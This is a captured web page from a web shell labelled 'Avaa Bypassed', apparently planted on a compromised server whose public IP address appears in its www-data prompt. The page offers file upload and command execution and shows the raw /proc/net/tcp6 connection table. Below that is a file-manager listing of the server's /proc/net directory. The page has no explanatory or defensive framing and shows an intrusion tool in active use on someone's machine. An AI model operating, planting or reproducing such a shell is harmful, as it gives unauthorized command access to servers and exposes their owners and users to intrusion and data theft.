[ Avaa Bypassed ]




Upload:

Command:

www-data@3.137.222.228: ~ $
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 173514821 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0016 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 181777113 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 173514825 2 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000001000000:0277 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 266009242 1 0000000000000000 100 0 0 10 0
   4: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF0000D690A734:EB85 06 00000000:00000000 03:000016D0 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF000096A74D28:1B39 06 00000000:00000000 03:000006C3 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF0000EC90A734:A5ED 06 00000000:00000000 03:00000F9D 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF0000D690A734:EA45 06 00000000:00000000 03:000012E4 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF0000B090A734:47C1 06 00000000:00000000 03:00000CFE 00000000     0        0 0 3 0000000000000000
   9: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF0000E4DE8903:27FE 01 0000025E:00000000 01:00000036 00000000    33        0 444971588 4 0000000000000000 82 4 29 10 -1
  10: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF00001E028D39:C7CE 09 00000019:00000000 01:00000023 00000000     0        0 0 3 0000000000000000 65 4 27 10 -1
  11: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF00002AA74D28:3396 06 00000000:00000000 03:00000000 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF0000D790A734:6D12 06 00000000:00000000 03:00000000 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF000030A74D28:0F60 06 00000000:00000000 03:000012BC 00000000     0        0 0 3 0000000000000000
  14: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF000096A74D28:1B0B 06 00000000:00000000 03:00001391 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF0000BF90A734:228E 06 00000000:00000000 03:00001200 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF00001590A734:0E62 06 00000000:00000000 03:00001188 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF0000BF90A734:1F80 06 00000000:00000000 03:0000015A 00000000     0        0 0 3 0000000000000000
  18: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF00000BABBFB9:B460 03 00000000:00000000 01:0000005D 00000000     0        0 0 0 0000000000000000
  19: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF000030A74D28:0F74 06 00000000:00000000 03:00000FC6 00000000     0        0 0 3 0000000000000000
  20: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF000048A74D28:4D63 06 00000000:00000000 03:000015B0 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF000030A74D28:0F76 06 00000000:00000000 03:00000401 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF000085CFAB14:D4B4 06 00000000:00000000 03:000003E7 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF00007BA74D28:AF08 06 00000000:00000000 03:0000080A 00000000     0        0 0 3 0000000000000000
  24: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF0000BF90A734:1F85 06 00000000:00000000 03:000014F0 00000000     0        0 0 3 0000000000000000
  25: 0000000000000000FFFF000065F29367:01BB 0000000000000000FFFF0000E4DE8903:DAC3 01 00001566:00000000 01:00000033 00000000    33        0 444971587 3 0000000000000000 86 4 29 10 -1
  26: 0000000000000000FFFF000065F29367:0050 0000000000000000FFFF00008AD5CD6D:B34A 06 00000000:00000000 03:00000701 00000000     0        0 0 3 0000000000000000

Filemanager

Name Type Size Permission Actions
dev_snmp6 Folder 0555
netfilter Folder 0555
stat Folder 0555
xt_recent Folder 0555
anycast6 File 0 B 0444
arp File 0 B 0444
connector File 0 B 0444
dev File 0 B 0444
dev_mcast File 0 B 0444
fib_trie File 0 B 0444
fib_triestat File 0 B 0444
icmp File 0 B 0444
icmp6 File 0 B 0444
if_inet6 File 0 B 0444
igmp File 0 B 0444
igmp6 File 0 B 0444
ip6_flowlabel File 0 B 0444
ip6_mr_cache File 0 B 0444
ip6_mr_vif File 0 B 0444
ip6_tables_matches File 0 B 0440
ip6_tables_names File 0 B 0440
ip6_tables_targets File 0 B 0440
ip_mr_cache File 0 B 0444
ip_mr_vif File 0 B 0444
ip_tables_matches File 0 B 0440
ip_tables_names File 0 B 0440
ip_tables_targets File 0 B 0440
ipv6_route File 0 B 0444
mcfilter File 0 B 0444
mcfilter6 File 0 B 0444
netlink File 0 B 0444
netstat File 0 B 0444
packet File 0 B 0444
protocols File 0 B 0444
psched File 0 B 0444
ptype File 0 B 0444
raw File 0 B 0444
raw6 File 0 B 0444
route File 0 B 0444
rt6_stats File 0 B 0444
rt_acct File 0 B 0444
rt_cache File 0 B 0444
snmp File 0 B 0444
snmp6 File 0 B 0444
sockstat File 0 B 0444
sockstat6 File 0 B 0444
softnet_stat File 0 B 0444
tcp File 0 B 0444
tcp6 File 0 B 0444
udp File 0 B 0444
udp6 File 0 B 0444
udplite File 0 B 0444
udplite6 File 0 B 0444
unix File 0 B 0444
wireless File 0 B 0444
xfrm_stat File 0 B 0444